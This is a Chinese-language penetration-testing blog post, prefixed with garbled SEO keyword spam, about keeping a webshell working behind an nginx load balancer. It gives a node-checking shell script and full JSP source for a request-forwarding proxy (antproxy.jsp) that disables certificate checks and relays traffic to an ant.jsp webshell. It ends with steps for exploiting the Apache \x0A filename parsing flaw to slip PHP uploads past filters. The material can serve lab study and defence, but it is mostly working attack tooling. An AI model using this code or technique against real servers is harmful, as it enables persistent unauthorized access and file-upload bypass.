网站建设岗位,广西建设厅招投标中心网站,给别人做软件的网站,做seo的网站有那些负载均衡反向代理下的webshell上传负载均衡负载均衡下webshell上传的四大难点难点一#xff1a;需要在每一台节点的相同位置上传相同内容的webshell难点二#xff1a;无法预测下一次请求是哪一台机器去执行难点三#xff1a;当我们需要上传一些工具时#xff0c;麻烦来了需要在每一台节点的相同位置上传相同内容的webshell难点二无法预测下一次请求是哪一台机器去执行难点三当我们需要上传一些工具时麻烦来了难点四由于目标机器不能出外网解决方案如下方法一关掉其中一台机器方法二执行前先判断IP要不要执行方法三在Web 层做一次 HTTP 流量转发apache换行解析漏洞负载均衡
负载均衡是一种廉价的扩容的方案它的概念不是本文的重点不知道的可以去查资料学习。实现负载均衡的方式有很多种比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。
名称策略轮询默认按请求顺序逐一分配weight根据权重分配ip_hash根据客户端IP分配least_conn根据连接数分配fair (第三方)根据响应时间分配url_hash (第三方)根据URL分配
整体架构是这个样子
负载均衡下webshell上传的四大难点
难点一需要在每一台节点的相同位置上传相同内容的webshell
我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有那么在请求轮到这台机器上的时候就会出现 404 错误影响使用。是的这就是你出现一会儿正常一会儿错误的原因。
难点二无法预测下一次请求是哪一台机器去执行
我们在执行命令时无法知道下次的请求交给哪台机器去执行。我们执行 hostname -i查看当前执行机器的 ip 时可以看到一直在飘因为我们用的是轮询的方式还算能确定一旦涉及了权重等其它指标就让你好好体验一波什么叫飘乎不定。
难点三当我们需要上传一些工具时麻烦来了
由于 antSword 上传文件时采用的分片上传方式把一个文件分成了多次HTTP请求发送给了目标所以尴尬的事情来了两台节点上各一半而且这一半到底是怎么组合的取决于 LBS 算法
难点四由于目标机器不能出外网
由于目标机器不能出外网想进一步深入只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel可在这个场景下这些 tunnel 脚本全部都失灵了。
解决方案如下
方法一关掉其中一台机器
首先在测试阶段我们可以关闭一台服务器只保留一台机器因为健康检查机制的存在很快其它的节点就会被 nginx 从池子里踢出去那么妥妥的就能继续了。 但在真实项目中是不允许的会严重影响业务。
方法二执行前先判断IP要不要执行
1先在docker容器中安装net-tools和vim命令
apt-get update
apt-get install net-tools
apt-get install vim2 然后创建一下代码在两个后端服务器都上传
MYIPifconfig | grep inet 172 | awk {print $2}
if [$MYIP 172.19.0.2 ]; thenecho Node1. I will execute command.\n\nifconfigelseecho Other. Try again.fi如果这里你的tomcat外网不能访问记得去Linux主机上的8080端口开放因为如果你要测试的话需要安装vim和net-tools这样一来确实是能够保证执行的命令是在我们想要的机器上了效果如图 这样操作保证了我们的命令可以执行到目标机器上但是却不能上传文件工具http隧道问题功能比较单一这种方法勉强能用。
方法三在Web 层做一次 HTTP 流量转发 第 1 步我们请求 /antproxy.jsp这个请求发给 nginxnginx 接到数据包之后会有两种情况 第 2 步把请求传递给了目标机器请求了 Node1 机器上的/antproxy.jsp接着 第 3 步/antproxy.jsp 把请求重组之后传给了Node1 机器上的 /ant.jsp成功执行。 第 2 步把请求传给了 Node2 机器, 接着第 3 步Node2 机器上面的 /antproxy.jsp 把请求重组之后传给了 Node1 的 /ant.jsp成功执行。 这里一定要保证每一台node上都要有相同的文件千万别用上传上传会将文件分片 修改 Shell 配置, 将 URL 部分填写为 web.jsp 的地址其它配置不变。
% page contentTypetext/html;charsetUTF-8 languagejava %
% page importjavax.net.ssl.* %
% page importjava.io.ByteArrayOutputStream %
% page importjava.io.DataInputStream %
% page importjava.io.InputStream %
% page importjava.io.OutputStream %
% page importjava.net.HttpURLConnection %
% page importjava.net.URL %
% page importjava.security.KeyManagementException %
% page importjava.security.NoSuchAlgorithmException %
% page importjava.security.cert.CertificateException %
% page importjava.security.cert.X509Certificate %
%!public static void ignoreSsl() throws Exception {HostnameVerifier hv new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc SSLContext.getInstance(TLS);sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%
%String target http://172.19.0.2:8080/ant.jsp;URL url new URL(target);if (https.equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn (HttpURLConnection)url.openConnection();StringBuilder sb new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baosnew ByteArrayOutputStream();OutputStream out2 conn.getOutputStream();DataInputStream innew DataInputStream(request.getInputStream());byte[] buf new byte[1024];int len 0;while ((len in.read(buf)) ! -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream conn.getInputStream();OutputStream out3response.getOutputStream();int len2 0;while ((len2 inputStream.read(buf)) ! -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%apache换行解析漏洞
Apache HTTPD是一款HTTP服务器它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞在解析PHP时1.php\x0A将被按照PHP后缀进行解析导致绕过一些服务器的安全策略。 搭建完毕后Apache运行在http://your-ip:8080 漏洞复现 上传一个名为1.php的文件被拦截 在1.php后面插入一个\x0A只能是一个\x0A不再拦截